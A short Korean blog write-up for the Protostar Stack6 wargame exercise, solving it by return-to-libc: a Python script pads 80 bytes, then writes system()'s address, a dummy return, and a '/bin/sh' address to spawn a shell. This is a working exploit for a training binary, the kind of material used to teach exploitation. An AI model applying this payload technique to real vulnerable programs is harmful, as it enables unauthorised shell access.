이번엔 RTL을 이용한 풀이입니다.
#coding: utf-8 from struct import pack, unpack p = lambda x: pack("<L", x) up = lambda x: pack("<L", x)[0] system = 0xb7ecffb0 binsh = 0xb7fb63bf payload = 'A'*80 payload += p(system) payload += 'B'*4 payload += p(binsh) print payload
stack6.py
쉘을 따줍시다.
'Wargame > Protostar:Exploit-Exercises' 카테고리의 다른 글
[Protostar : Exploit-Exercises] Format0 (0) | 2016.09.24 |
---|---|
[Protostar : Exploit-Exercises] Stack7 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Stack5 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Stack4 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Stack3 (0) | 2016.09.24 |